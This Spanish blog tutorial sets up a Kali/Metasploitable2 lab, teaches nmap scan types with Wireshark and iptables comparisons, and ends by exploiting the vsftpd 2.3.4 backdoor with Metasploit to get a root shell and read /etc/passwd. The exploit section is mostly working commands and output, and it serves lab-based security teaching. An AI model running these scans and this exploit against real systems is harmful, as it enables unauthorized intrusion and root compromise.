Home Security Taller de Hacking I (nmap a fondo + metasploit básico)

Taller de Hacking I (nmap a fondo + metasploit básico)

by José Luis Sánchez Borque

ESQUEMA DE TRABAJO Y ESCANEO INICIAL

El escenario para simular un entorno más real y poder hacer más pruebas es el siguiente:

Podemos ver en el siguiente enlace como instalar Kali:

Podemos bajar la máquina metasploitable2 en sourceforge:

En el esquema el servidor Ubuntu 16.04 actúa como Firewall y como servidor dhcp

Configuración de RED Ubuntu 16.04

root@ubuntu:~# cat /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto ens33
iface ens33 inet dhcp
auto ens34
iface ens34 inet static
address 192.168.50.254
netmask 255.255.255.0
broadcast 192.168.50.255
root@ubuntu:~# cat /etc/resolv.conf

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

nameserver 192.168.1.1

Configuración del servidor DHCP Ubuntu 16.04

subnet 192.168.50.0 netmask 255.255.255.0 {
range 192.168.50.50 192.168.50.100;
option domain-name-servers 8.8.8.8;
option domain-name "profe.local";
option subnet-mask 255.255.255.0;
option routers 192.168.50.254;
option broadcast-address 192.168.50.255;
default-lease-time 600;
max-lease-time 7200;
}

Configuración del firewall inicial Ubuntu 16.04

administrador@ubuntu:~$ cat /etc/fw/fwclear.fw

# Definicion de variables
iptables -F
iptables -X
iptables -t nat -F
iptables -Z

iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE

echo "Reglas Iptables ejecutadas"

El script fwclear lo ejecutaremos como root de forma manual, ya que estamos en un entorno de pruebas. En un caso real bastaría con llamarlo desde el fichero /etc/rc.local

Aquí podemos encontrar más ejemplos del comando nmap:

IDENTIFICAR MÁQUINAS ACTIVAS

He realizado el siguiente tipo de escaneo para detectar todos los posibles host de nuestra red local.

root@kali:~# nmap -sn -n 192.168.50.0/24

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 09:55 CEST

Nmap scan report for 192.168.50.50
Host is up (0.00033s latency).
MAC Address: 00:0C:29:2E:33:D4 (VMware)
Nmap scan report for 192.168.50.254
Host is up (-0.10s latency).
MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap scan report for 192.168.50.51
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 9.28 seconds
root@kali:~#

Parámetros:

-sn: Ping Scan – disable port scan

-n/-R: Never do DNS resolution/Always resolve [default: sometimes]

Mucha gente pone que los firewalls limitan el ping (protocolo icmp-echo y icmp-reply ) … Y que por lo tanto este tipo de escaneo no detecta máquinas …. Nada más lejos de la realidad. Si observamos las tramas con Wireshark, vemos que NO hace ningún PING, sino que trabaja con ARP directamente. Ojo, esta técnica solo funciona en nuestra red local, pues recordemos que los paquetes ARP de broadcast quedan limitados a nuestra red local.

Si estamos fuera de la red, esta técnica NO sirve.

Si filtramos con Wireshark veremos las dos respuestas de los dos host up de nuestra red. La tercera máquina es la propia que no aparece en el wireshark. En definitva podemos ver que las MAC’s que aparecen son las de

arp.opcode == 2

Ahora lo hacemos con Zenmap también, y vemos el mismo resultado pero con entorno gr

Por cierto disponemos de herramientas Online para saber a qué fabricante pertenece una determinada MAC, aunque ya sabemos que con la virtualización y determinadas herramientas la podemos suplantar. Hablamos siempre en un entorno normal, sin “manipulación” del usuario.

PRUEBAS DE CONECTIVIDAD

Las pruebas las hago desde la máquina Kali, suficiente para demostrar que hay conectividad entre todas las máquinas de nuestra red.

Máquina Kali

  • Configuración tcp/ip
root@kali:~# ifconfig eth0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.51 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::20c:29ff:fe60:5df0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:5d:f0 txqueuelen 1000 (Ethernet)
RX packets 402576 bytes 605004704 (576.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 101052 bytes 6870727 (6.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • Hacia el gateway
root@kali:~# ping -c 1 192.168.50.254

PING 192.168.50.254 (192.168.50.254) 56(84) bytes of data.
64 bytes from 192.168.50.254: icmp_seq=1 ttl=64 time=0.202 ms
--- 192.168.50.254 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.202/0.202/0.202/0.000 ms
  • Hacia la máquina metasplotaible2
root@kali:~# ping -c 1 192.168.50.50

PING 192.168.50.50 (192.168.50.50) 56(84) bytes of data.
64 bytes from 192.168.50.50: icmp_seq=1 ttl=64 time=9.26 ms
--- 192.168.50.50 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 9.266/9.266/9.266/0.000 ms
  • Hacia el router Orange
root@kali:~# ping -c 1 192.168.1.1

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=3.87 ms

--- 192.168.1.1 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 3.873/3.873/3.873/0.000 ms
  • Hacia Internet con resolución de nombres
root@kali:~# ping -c 1 www.google.com

PING www.google.com (216.58.201.132) 56(84) bytes of data.

64 bytes from mad06s25-in-f4.1e100.net (216.58.201.132): icmp_seq=1 ttl=53 time=13.5 ms

--- www.google.com ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 13.582/13.582/13.582/0.000 ms

ESCANEO COMPLETO DE PUERTOS, incluido silencioso

Realizaremos como indica la práctica los diferentes tipos de escaneo de 10000 en 10000

TcpConnect root@kali:~#nmap -sT -sV -O 192.168.50.50 -v -p1-9999

SYN scan root@kali:~#nmap -sS -sV -O 192.168.50.50 -v -p1-9999

FIN scan root@kali:~#nmap -sF -sV -O 192.168.50.50 -v -p1-9999

Xmas scan root@kali:~#nmap -sX -sV -O 192.168.50.50 -v -p1-9999

NULL scan root@kali:~#nmap -sN -sV -O 192.168.50.50 -v -p1-9999

UDP scan root@kali:~#nmap -sU -sV -O 192.168.50.50 -v -p1-9999

Hemos comparado para cada uno de los métodos anteriores los puertos abiertos y cerrados que nos dan. Puesto que el resultado es coincidente ( menos en el de UDP scan ) utilizaremos solo uno de ellos, el -sS para el resto de la práctica

Una vez tenemos claro que los resultados han sido los mismos en todos los casos, ejecutaremos todos los puertos a la vez, con un buen café y pastas… incluso nos da tiempo a ir a la panadería….

Resultat d'imatges de cafe y pastas

root@kali:~# nmap -sS -sV -O 192.168.50.50 -p1-65535

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 12:41 CEST

Nmap scan report for 192.168.50.50
Host is up (0.00031s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
44271/tcp open rmiregistry GNU Classpath grmiregistry
44978/tcp open mountd 1-3 (RPC #100005)
54319/tcp open nlockmgr 1-4 (RPC #100021)
55459/tcp open status 1 (RPC #100024)

MAC Address: 00:0C:29:2E:33:D4 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6353.85 seconds

Veamos sobre uno de los puertos abiertos -80-, los diferentes tipos de nmap, para entenderlos a fondo:

root@kali:~# nmap -sT -R 192.168.50.50 -p80
  • Wireshark:

f

root@kali:~# nmap -sS -R 192.168.50.50 -p80
  • Wireshark

root@kali:~# nmap -sF -R 192.168.50.50 -p80
  • Wireshark

root@kali:~# nmap -sN -R 192.168.50.50 -p80
  • Wireshark

root@kali:~# nmap -sX -R 192.168.50.50 -p80
  • Wireshark

Veamos lo mismo con un puerto cerrada para cotejar las diferencias y entenderlo todo bien. Puerto 81/tcp:

root@kali:~# nmap -sT -R 192.168.50.50 -p81
  • Wireshark

root@kali:~# nmap -sS -R 192.168.50.50 -p81
  • Wireshark

root@kali:~# nmap -sF -R 192.168.50.50 -p81
  • Wireshark

root@kali:~# nmap -sN -R 192.168.50.50 -p81
  • Wireshark

root@kali:~# nmap -sX -R 192.168.50.50 -p81
  • Wireshark

Veamos sobre un puerto filtrado -22- por iptables en el Ubuntu que actúa como enrutador:

  • Veamos en primer lugar que el puerto 22 está abierto:
root@kali:~# nmap -sT -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:26 CEST
Nmap scan report for 192.168.50.254
Host is up (0.00031s latency).

PORT STATE SERVICE
22/tcp open ssh

MAC Address: 00:0c:29:8b:ec:8b (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
  • Añadimos la siguiente regla simple en la máquina Ubuntu que actúa como enrutador:
root@ubuntu:~# iptables -A INPUT -i ens34 -p tcp --dport 22 -j DROP

Veamos ahora como actúan los diferentes tipos de scan con un puerto filtrado por un firewall

root@kali:~# nmap -sT -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00046s latency).

PORT STATE SERVICE
22/tcp filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
  • Wireshark

root@kali:~# nmap -sS -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00044s latency).

PORT STATE SERVICE
22/tcp filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds
  • Wireshark

root@kali:~# nmap -sF -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00047s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
  • Wireshark

root@kali:~# nmap -sN -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00015s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
  • Wireshark

root@kali:~# nmap -sX -R 192.168.50.254 -p22

Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-08 15:32 CEST

Nmap scan report for 192.168.50.254
Host is up (0.00031s latency).

PORT STATE SERVICE
22/tcp open|filtered ssh

MAC Address: 00:0C:29:8B:EC:8B (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
  • Wireshark

Recordar que como hace una consulta ARP, nmap puede suponer que el puerto está filtered al no tener la respuesta tcp adecuada ni que está OPEN ni CLOSED como hemos visto anteriormente. Todo esto implica muchos conocimientos de TCP/IP, necesarios para entender el hacking en general.

ESCANEO PROFUNDO CON ZENMAP

Para el siguiente punto, y sobre todo para agilizar el tiempo atacaremos directamente a los puertos que ya sabemos están abiertos. Para ello utilizaremos el parámetro -p[port list]

nmap -T4 -A -v 192.168.50.50 -p21,22,23,25,53,80,111,139,445,512, 513,514,1099,1524,2049,2121,3306,3632,5432,5900,6000,6667,6697,8009, 8180,8787,44271,44978,54319,55459

Parámetros utilizados:

-T<0-5>: Set timing template (higher is faster)

-A: Enable OS detection, version detection, script scanning, and traceroute

SCRIPT SCAN:

-sC: equivalent to –script=default

–script=<Lua scripts>: <Lua scripts> is a comma separated list of

directories, script-files or script-categories

–script-args=<n1=v1,[n2=v2,…]>: provide arguments to scripts

–script-args-file=filename: provide NSE script args in a file

–script-trace: Show all data sent and received

–script-updatedb: Update the script database.

–script-help=<Lua scripts>: Show help about scripts.

<Lua scripts> is a comma-separated list of script-files or script-categories.

Podremos encontrar una lista detallada de todas las posibilidades con los scripts en el siguiente enlace:

Hemos generado un nuevo perfil con un scan intensivo -A -T4

En el resultado podremos ver mucha información que os adjunto a continuación ( es un poco largo, y hay que leer!!! ). OS puesto en rojo, dos de los resultados que aparecen para llamar vuestra atención. El puerto 21/tcp, ftp, que más adelante utilizaremos para el ataque, y el 3306/tcp, mysql.

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2017-08-09T05:55:28+00:00; -3s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 33319/udp mountd
| 100005 1,2,3 51227/tcp mountd
| 100021 1,3,4 42785/tcp nlockmgr
| 100021 1,3,4 51194/udp nlockmgr
| 100024 1 39251/tcp status
|_ 100024 1 58035/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open java-rmi Java RMI Registry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, Support41Auth, SupportsTransactions, LongColumnFlag, ConnectWithDatabase, Speaks41ProtocolNew, SwitchToSSLAfterHandshake
| Status: Autocommit
|_ Salt: '`1qh8y|%=D~q9fu<gu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2017-08-09T05:55:26+00:00; -4s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 1.0
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 0 days, 0:26:19
| source ident: nmap
| source host: D2950D63.85216C96.FFFA6D49.IP
|_ error: Closing Link: crterltxn[192.168.50.51] (Quit: crterltxn)
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
44271/tcp closed unknown
44978/tcp closed unknown
54319/tcp closed unknown
55459/tcp closed unknown

MAC Address: 00:0C:29:2E:33:D4 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.016 days (since Wed Aug 9 07:33:44 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: -3s, deviation: 0s, median: -4s
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| METASPLOITABLE<00> Flags: <unique><active>
| METASPLOITABLE<03> Flags: <unique><active>
| METASPLOITABLE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP\x00
|_ System time: 2017-08-09T01:55:26-04:00

TRACEROUTE
HOP RTT ADDRESS
1 0.16 ms 192.168.50.50
NSE: Script Post-scanning.
Initiating NSE at 07:56
Completed NSE at 07:56, 0.00s elapsed
Initiating NSE at 07:56
Completed NSE at 07:56, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 76.41 seconds
Raw packets sent: 66 (5.304KB) | Rcvd: 61 (4.964KB)

 

METASPLOIT PUERTO 21

Qué más podemos probar para cotejar resultados…Pues ir lanzando scripts predeterminados de nmap. En nuestro caso, y para no hacerlo de forma indiscriminada contra todos los puertos abiertos, utilizamos puerto tcp/21 -ftp-:

auth

These scripts deal with authentication credentials (or bypassing them) on the target system. Examples include x11-access, ftp-anon, and oracle-enum-users. Scripts which use brute force attacks to determine credentials are placed in the brute category instead

root@kali:~#nmap -p 21 -sS -sV -v --script auth 192.168.50.50

vuln

These scripts check for specific known vulnerabilities and generally only report results if they are found. Examples include realvnc-auth-bypass and afp-path-vuln.

root@kali:~#nmap -p 21 -sS -sV -v --script vuln 192.168.50.50

Podemos buscar con la orden searchsploit (siempre que esté actualizado) si hay algún tipo de vulnerabilidad.

root@kali:~#searchsploit vsftpd

------------------------------------------- ----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/platforms/)
------------------------------------------- ----------------------------------
vsftpd 2.0.5 - 'CWD' Authenticated Remote Me | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Den | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
------------------------------------------- ----------------------------------

Eurka!!! En nuestro caso, vemos que la propia herramienta nos indica un “Backdoor command Execution” sobre la versión que nos indicaba el nmap.

Podemos cotejar el resultado con búsquedas en la web

Podemos ver como instalar el módulo de metasploit en Kali en el siguiente enlace:

Veamos como conseguir el acceso root con metasploit:

root@kali:~# service postgresql start

root@kali:~# msfdb init

Creating database user 'msf'

Ingrese la contraseña para el nuevo rol:

Ingrésela nuevamente:

Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/database.yml

Creating initial database schema

root@kali:~# msfconsole

http://metasploit.com

=[ metasploit v4.14.28-dev ]

+ -- --=[ 1662 exploits - 951 auxiliary - 293 post ]

+ -- --=[ 486 payloads - 40 encoders - 9 nops ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/unix/ftp/vsftpd_234_backdoor

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST yes The target address

RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.50.50

RHOST => 192.168.50.50

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOST 192.168.50.50 yes The target address

RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(vsftpd_234_backdoor) > exploit

[*] 192.168.50.50:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.50:21 - USER: 331 Please specify the password.
[+] 192.168.50.50:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.50:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.51:40701 -> 192.168.50.50:6200) at 2017-08-09 09:04:19 +0200

ls /home
ftp
msfadmin
service
user

whoami
root

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh

Prueba superada …. 🙂

Estamos listando el contenido de la carpeta home de la máquina remota. Para comprobarlo hacemos de forma local en la máquina metasploitable un ls /home y vemos que el resultado es el mismo.

Ya tenemos acceso root sobre el objetivo para ejecutar cualquier comando… Nosotros hemos sido benévolos, que es de lo que se trata.

 

You may also like

Leave a Comment